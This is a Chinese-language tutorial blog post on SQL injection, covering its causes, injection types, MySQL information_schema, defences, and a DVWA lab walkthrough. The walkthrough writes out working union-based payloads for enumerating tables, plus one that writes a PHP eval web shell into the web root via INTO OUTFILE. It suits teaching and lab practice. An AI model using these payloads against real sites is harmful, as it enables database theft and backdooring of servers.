sql注入

Posted 鸡术有限

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。

目录

0x01 sql注入原理

0x02 sql注入危害

0x03 sql注入类型

0x04 mysql表介绍

0x05 简单应用

0x06 防御方法 

  • 0x01 sql注入原理

简单来说就是后台执行了前端提交构造的特殊参数,而导致数据库数据泄露或者是对本地文件操作(写入木马)。

0x01a sql注入原因 

SQL注入的产生原因通常表现在以下几方面:

    1.     不当的类型处理;

    2.     不安全的数据库配置;

    3.     不合理的查询集处理;

    4.     不当的错误处理;

    5.     转义字符处理不合适;

    6.     多个提交处理不当;

  • 0x02 sql注入危害

    1. 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

    2. 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

    3. 网页篡改:通过操作数据库对特定网页进行篡改。

    4. 网站被挂马,传播恶意软件。

    5.  数据库被恶意操作。

    6. 服务器被远程控制,被安装后门。

    7. 破坏硬盘数据,瘫痪全系统。

  • 0x03 sql注入类型

  1. 0x03a 按注入点分:

(1)数字型注入点

  在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1

(2)字符型注入点

在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'。注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and ‘1’=‘1 

(3)搜索型注入点

2. 0x03b 按照数据提交方式分:

(1)GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

(2)POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

(3)Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

(4)HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

3. 0x03c 按照执行效果来分类

(1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

(2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

(3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

(4)联合查询注入,可以使用union的情况下的注入。

(5)堆查询注入,可以同时执行多条语句的执行时的注入。

  • 0x04 mysql表介绍

0x04a 有时候在构造参数的时候需要我们使用一些函数,来绕过过滤,接下来我们一起来认识常用的函数

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os 操作系统 Windows Server 2003

0x04b information_schema表简介:

这张数据表保存了MySQL服务器所有数据库的信息。

如数据库名,数据库的表,表栏的数据类型与访问权限等。

Mysql的INFORMATION_SCHEMA数据库包含了一些表和视图,提供了访问数据库元数据的方式。

元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

包括参数

SCHEMATA表:提供了关于数据库的信息。

TABLES表:给出了关于数据库中的表的信息。

COLUMNS表:给出了表中的列信息。

STATISTICS表:给出了关于表索引的信息。

USER_PRIVILEGES表:给出了关于全程权限的信息。该信息源自mysql.user授权表。

SCHEMA_PRIVILEGES表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。

TABLE_PRIVILEGES表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。

COLUMN_PRIVILEGES表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。

CHARACTER_SETS表:提供了关于可用字符集的信息。

COLLATIONS表:提供了关于各字符集的对照信息。

COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。

TABLE_CONSTRAINTS表:描述了存在约束的表。

KEY_COLUMN_USAGE表:描述了具有约束的键列。

ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。

VIEWS表:给出了关于数据库中的视图的信息。

TRIGGERS表:提供了关于触发程序的信息。

  • 0x05 简单应用

    1.判断注入类型

    2.爆库名

    3.爆表名

    4.爆用户信息

    5.传木马拿webshell

应用是在dvwa上进行的,如果有兴趣的同学可以自行搜索安装。

1.判断注入类型


         可知为字符型注入

2.猜数据库

联合查询要左面和右面查出来的列要相同,所以要看左面查出来几列

sql注入(1)



由结果可知查出来2列

联合查询爆数据库名

sql注入(1)


可知数据库名为dvwa

有数据库名可以爆表名

1' union select  1,table_name from information_schema.tables where table_schema='dvwa'#

或者

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#

sql注入(1)


然后看有哪些列

sql注入(1)


查看 user 和password


MD5就能查到密码了

sql注入(1)

产看mysql版本

sql注入(1)


读写文件拿webshell

使用mysql的读写功能需要具有一定的权限。

secure_file_priv参数用来限制load_file,into outfile等相关读写执行函数作用于哪个指定目录。

当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出 当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下 当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制

读写文件条件:

读:file权限必备

写:1.绝对路径 2.union使用 3. 可以使用''

由于我使用的是PHPStudy搭建的环境,MySQL没有设置过secure_file_priv时,默认为 NULL

修改secure_file_priv为指定的目录:

Windows下的配置文件:../MySQL/my.ini

Linux下的配置文件:/etc/mysql/my.cnf

打开phpstudy-》其他选项菜单-》打开配置文件-》mysql-ini

在mysqlid下添加:secure_file_priv =

在上文介绍过缺省为可以读写任何文件夹,为null是限制读写


重启phpstudy

利用into outfile()函数写入一句话拿webshell:

不知道路径的情况下,先通过报错得出网站的绝对路径:

1' union select 1,2 into outfile('1')#

看报错


1' union select 1,'<?php @eval($_POST["pass"]);?>' into outfile 'D:\phpStudy\WWW\DVWA-master\vulnerabilities\sqli\'#

然后就上菜刀


连接成功

  • 0x06 防御方法

1.开启php的魔术模式,,magic_quotes_gpc = on即可,当一些特殊字符出现在网站前端的时候,就会自动进行转化,转化成一些其他符号导致sql语句无法执行。

2.网站代码里写入过滤sql特殊字符的代码,对一些特殊字符进行转化,比如单引号,逗号,*,(括号)AND 1=1 、反斜杠,select union等查询的sql语句都进行安全过滤,限制这些字符的输入,禁止提交到后端中去。

3.开启网站防火墙,IIS防火墙,apache防火墙,nginx防火墙,都有内的过滤sql注入的参数,当用户输入参数get、post、cookies方式提交过来的都会提前检测拦截


以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章

sql 注入是啥?

什么叫sql注入,如何防止sql注入

关于SQL注入

Java安全-注入漏洞(SQL注入命令注入表达式注入模板注入)

sql注入一

什么是sql注入如何防止sql注入